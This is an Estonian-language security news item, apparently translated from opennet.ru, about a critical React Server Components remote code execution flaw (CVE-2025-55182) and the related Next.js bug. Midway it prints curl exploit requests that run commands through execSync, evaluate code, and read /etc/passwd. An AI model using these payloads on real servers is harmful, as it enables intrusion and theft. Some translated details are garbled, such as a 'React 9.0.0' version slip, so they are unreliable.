Web-raamistikus React (RSC, React Server Components) on kÔrvaldatud haavatavus (CVE-2025-55182), mis vÔimaldas serveri töötleja kaudu saatmise kaudu tÀita serveris juhuslikku koodi. Haavatusele on mÀÀratud kriitiline ohutase (10/10). Haavatavus ilmneb eksperimentaalsetes komponentides react-server-dom-webpack, react-server-dom-parcel ja react-server-dom-turbopack, mida kasutatakse funktsioonide tÀitmiseks ja kasutajaliideseelementide genereerimiseks serveris, mitte kliendipoolselt.
Probleem on pĂ”hjustatud ebaturvalisest andmete deserialiseerimisest, mis saadakse HTTP-pĂ€ringutest serveri töötlejatele. Töötlejat âvm#runInThisContextâ, âvm#runInNewContextâ, âchild_process#execFileSyncâ ja âchild_process#execSyncâ saab kasutada sĂŒsteemis kĂ€skude kĂ€itamiseks vĂ”i JavaScripti koodi tĂ€itmiseks hetkel kĂ€imasolevas protsessis (kinnitades sandbox-i isoleerimise). Samuti on vĂ”imalik kasutada töötlejat âfs#readFileSyncâ ja âfs#writeFileSyncâ juhuslike failide lugemiseks ja kirjutamiseks. serveril, kuidas praegused ligipÀÀsu Ă”igused lubavad. RĂŒnnaku jaoks ei ole vaja autentimist. Eksploitatsiooni prototĂŒĂŒp on saadaval. # KĂ€ivita kĂ€sk whoami curl -X POST http://localhost:3002/formaction \ -F â$ACTION_REF_0=â \ -F â$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}â # JavaScripti koodi tĂ€itmine 1+1 curl -X POST http://localhost:3002/formaction \ -F â$ACTION_REF_0=â \ -F â$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}â # Faili lugemine /etc/passwd curl -X POST http://localhost:3002/formaction \ -F â$ACTION_REF_0=â \ -F â$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}â
SĂŒsteemide haavatavus sĂ”ltub haavatavate serveri komponentide, nagu react-server-dom-webpack, react-server-dom-parcel ja react-server-dom-turbopack, kasutamisest. Rakendused, mis ei kasuta react-serverit, ei ole haavatavust alt vedanud. Haavatavuse ulatus nendes töö sĂŒsteemides, kus Reacti kasutatakse, ei ole veel selge. Ăhest kĂŒljest on React ĂŒks populaarsemaid veebiraamistikud (kasutatakse umbes 6% veebisaitidest) ning haavatavad komponendid arendatakse peamiselt pĂ”hirepositooriumis ja sisalduvad avaldustes. Haavatavaid komponente toetatakse ka Reacti pĂ”histel raamistikudel, nagu Next.js ja react-router. Wiz Researchi andmetel tuvastati haavatavad nĂ€idised 39% analĂŒĂŒsitud pilvekeskkondadest.
Teisest kĂŒljest genereeritakse sisu serveris lĂ€bi React Server Komponendid on harva kasutatav funktsioon (enamik Reacti saite renderdavad liidest ainult kliendi poolel), samas kui haavatavad komponendid on mĂ€rgitud eksperimentaalsetena ja ei taga korrektset toimimist. Nendel komponentidel on suhteliselt vĂ€ike otse NPM-i hoidlast allalaadimise arv: react-server-dom-webpack â 670 tuhat nĂ€dalas, react-server-dom-parcel â 7 tuhat ja react-server-dom-turbopack â 32 tuhat, vĂ”rreldes NPM-paketi React'iga, millel on 45 miljonit allalaadimist nĂ€dalas.
Haavatavus esineb versioonides React 9.0.0, 19.1.0, 19.1.1 ja 19.2.0 ning on kÔrvaldatud vÀrskendustes React 19.0.1, 19.1.2 ja 19.2.1. Haavatavad komponendid on samuti kasutuses paketides Next.js (16 miljonit allalaadimist nÀdalas), react-router (20 miljonit allalaadimist nÀdalas), waku, @parcel/rsc, @vitejs/plugin-rsc ja rwsdk.
Next.js raamistikus haavatavus (CVE-2025-66478) mĂ”jutab rakendusi, mis kasutavad App Routerit ja Next.js versioone 15.x ja 16.x. VĂ€idetavalt avaldub haavatavus Next.js vaikimisi konfiguratsioonis (tavarakendus, mille loob utiliit create-next-app, on rĂŒnnaku alti). Kasutajatele soovitatakse vĂ”imalikult kiiresti paigaldada vĂ€rskendus Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 vĂ”i 16.0.7.
Allikas: opennet.ru
